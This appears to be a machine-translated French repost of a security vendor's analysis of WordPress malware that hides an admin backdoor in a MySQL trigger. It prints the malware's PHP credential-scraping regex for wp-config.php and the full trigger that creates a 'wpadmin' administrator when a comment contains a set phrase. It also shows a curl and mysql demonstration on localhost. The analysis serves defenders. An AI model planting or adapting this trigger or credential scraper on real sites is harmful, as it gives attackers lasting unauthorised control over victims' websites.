Sélectionner une page


Au cours de l’année écoulée, les logiciels malveillants WordPress ont de plus en plus tendance à utiliser des déclencheurs SQL pour masquer les requêtes SQL malveillantes dans les bases de données compromises. Ces requêtes ajoutent un utilisateur de niveau administrateur à la base de données infectée lorsque la condition de déclenchement est remplie.

Ce qui rend cela particulièrement problématique pour les propriétaires de sites Web, c’est que la plupart des guides de nettoyage de logiciels malveillants se concentrent sur les fichiers et les données du site Web dans certaines tables de base de données – par exemple wp_users, wp_options, et wp_posts.

MySQL et votre site Web

Si vous utilisez un CMS populaire sur votre site Web (par exemple, WordPress), ils en utiliseront probablement un Base de données MySQL pour enregistrer des données importantes telles que les paramètres et le contenu du CMS (par exemple, les articles WordPress). Cela signifie que tout ce qui peut modifier la base de données MySQL peut également causer de graves dommages au site Web, par exemple. B. insérer du contenu malveillant ou même supprimer complètement le contenu de votre site Web.

Ce risque de sécurité est l’une des raisons pour lesquelles la base de données MySQL se voit attribuer un nom d’utilisateur et un mot de passe distincts (voir) wp-config.php File) – Cette fonctionnalité empêche quiconque d’interroger à distance votre base de données MySQL sans les informations d’identification appropriées.

/** The name of the database for WordPress */
define('DB_NAME', 'database_name_here');

/** MySQL database username */
define('DB_USER', 'username_here');

/** MySQL database password */
define('DB_PASSWORD', 'password_here');

/** MySQL hostname */
define('DB_HOST', 'localhost');

WordPress a accès aux informations de connexion via wp-config.phppeut lire et modifier la base de données définie dans le fichier de configuration.

Malheureusement, après avoir obtenu un accès non authentifié, les attaquants peuvent lire fréquemment wp-config.php Fichier pour connaître les informations d’identification de la base de données du site Web. Ceux-ci peuvent ensuite être utilisés par le logiciel malveillant de l’attaquant pour se connecter à la base de données et apporter des modifications malveillantes.

PHP utilisé pour obtenir les informations d’identification MySQL

Le code PHP suivant est utilisé pour obtenir les informations d’identification MySQL de toutes celles reconnues wp-config.php Des dossiers.

$wpConfigString = file_get_contents($wpConfigPath);

//preg_match_all("~(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)',s+'(.+)'s*);~", $wpConfigString, $dbhost);
preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)['"],s+['"](.+)['"]s*);~m", $wpConfigString, $dbhost);
preg_match("~table_prefixs+=s+'(.+)';~", $wpConfigString, $prefix);

$dbname = $dbhost[2][0];
$dbuser = $dbhost[2][1];
$dbpassword = $dbhost[2][2];
$dbhostaddr = $dbhost[2][3];
$dbprefix = $prefix[1];

Ceci est réalisé en utilisant preg_match_all Cela permet à l’attaquant d’utiliser des expressions régulières pour stocker les données qu’il souhaite wp-config.php dans les variables du tableau $ dbhost et Préfixe $qui sont ensuite divisés en différentes variables telles que $ dbname, $ dbuser, $ dbpassword, etc.

Un exemple concret serait un attaquant qui a déjà obtenu un accès non autorisé à un site Web et souhaite créer une porte dérobée permanente au cas où le site Web souhaiterait créer une porte dérobée permanente. Des dossiers se nettoyer.

Une méthode utilisée par les attaquants consiste à Créer un utilisateur de niveau administrateur dans la base de données CMS du site Web. Ceux-ci peuvent souvent être facilement identifiés via le tableau de bord d’administration ou un client SQL:

Extrait de code

L’administrateur malveillant agit comme une porte dérobée qui existe en dehors des fichiers du site Web et à la place à l’intérieur de la base de données. Ce détail est important car la base de données peut souvent être négligée par les propriétaires qui nettoient un site Web infecté. Cependant, supprimer les utilisateurs suspects de la base de données de votre site Web ne signifie pas que toutes les portes dérobées possibles ont été supprimées.

Déclencheur SQL

UNE Déclencheur SQL est une procédure stockée qui s’exécute automatiquement lorsque certaines modifications sont apportées à la base de données.

Bien qu’ils aient de nombreuses utilisations utiles, nous avons également des preuves que les mauvais acteurs utilisent des déclencheurs SQL pour maintenir un accès non autorisé après un compromis. Pour ce faire, les attaquants insèrent un déclencheur SQL dans la base de données d’un site Web compromis. Lorsque certains critères sont remplis ou qu’un événement se produit, l’action stockée malveillante est entreprise.

Par exemple, nous avons trouvé ce déclencheur SQL de porte dérobée intéressant dans le wp_comments Tableau dans la base de données d’un site Web infecté:

Trigger: after_insert_comment
Event: INSERT
Table: wp_comments
Statement: BEGIN
IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
	SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `wordpress`.`wp_users`);
	SET @nextWpUsersID = @lastInsertWpUsersId + 1;
	INSERT INTO `wordpress`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
	INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
	INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
END IF;

Ce déclencheur SQL crée un administrateur malveillant lorsqu’un nouveau commentaire contient les mots de passe.Vous ne parvenez pas à obtenir des commentaires sur votre blog?‘est soumis sur le site Web WordPress infecté.

Le déclencheur vérifie le comment_content Colonne dans le wp_comments Base de données, donc peu importe si le commentaire a été approuvé ou en attente. Une fois le déclencheur SQL actif, il insère un administrateur malveillant passer avec la fausse date d’inscription 06/08/2014 et adresse e-mail wp-security @ hotmail[.]Avec.

wp_users BEFORE COMMENT TRIGGERS THE BACKDOOR USER INJECTION:
# mysql -u root -p -e 'select * from wp_users G' wordpress
Enter password:
*************************** 1. row ***************************
             	ID: 1
     	user_login: admin
      	user_pass: $P$BYYwDW50tCcCkb01qXVQKRbH5.TEs9/
  	user_nicename: admin
     	user_email: luke@lukeleal.com
       	user_url:
	user_registered: 2019-12-06 06:34:37
user_activation_key:
    	user_status: 0
   	display_name: admin
WORDPRESS TRIGGER COMMENT SUBMITTED USING CURL:
# curl 'http://localhost/wp-comments-post.php' -H 'User-Agent: Netscape' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Referer: http://localhost/index.php/2019/12/06/hello-world/' --data-raw 'comment=are+you+struggling+to+get+comments+on+your+blog%3F&author=John&email=nope%40nope.com&url=&submit=Post+Comment&comment_post_ID=1&comment_parent=0'
CONFIRMING TRIGGER COMMENT CREATED BACKDOOR USER wpadmin:
#  mysql -u root -p -e 'select * from wp_users where user_login like 'wpadmin' G" wordpress
Enter password:
*************************** 1. row ***************************
             	ID: 2
     	user_login: wpadmin
      	user_pass: $1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1
  	user_nicename: wpadmin
     	user_email: wp-security@hotmail.com
       	user_url: http://wordpress.com
	user_registered: 2014-06-08 00:00:00
user_activation_key:
    	user_status: 0
   	display_name: Kris

Conclusion et étapes d’atténuation

Si un site Web a été compromis, vous pouvez parier que les attaquants rechercheront les données de base de données qui s’y trouvent. wp-config ou d’autres fichiers de configuration du CMS – et il peut être extrêmement difficile d’identifier si le pirate a collecté ces informations à tout moment après l’infection.

Quand un compromis Est-ce que Dans ce cas, vous devez mettre à jour les mots de passe dans tout votre environnement, y compris vos bases de données. Négliger cette étape post-piratage pourrait amener un attaquant à accéder et à modifier votre site Web même après avoir pensé que vous avez nettoyé l’infection.

Les propriétaires de sites Web qui ont fait l’expérience d’un compromis peuvent consulter notre guide à l’adresse comment nettoyer un site Web piraté pour savoir comment éliminer l’infection. Si vous avez besoin d’aide, nous pouvons vous aider Nettoyez les logiciels malveillants et les portes dérobées et sécurisez votre site Web.



Source link

Recent Posts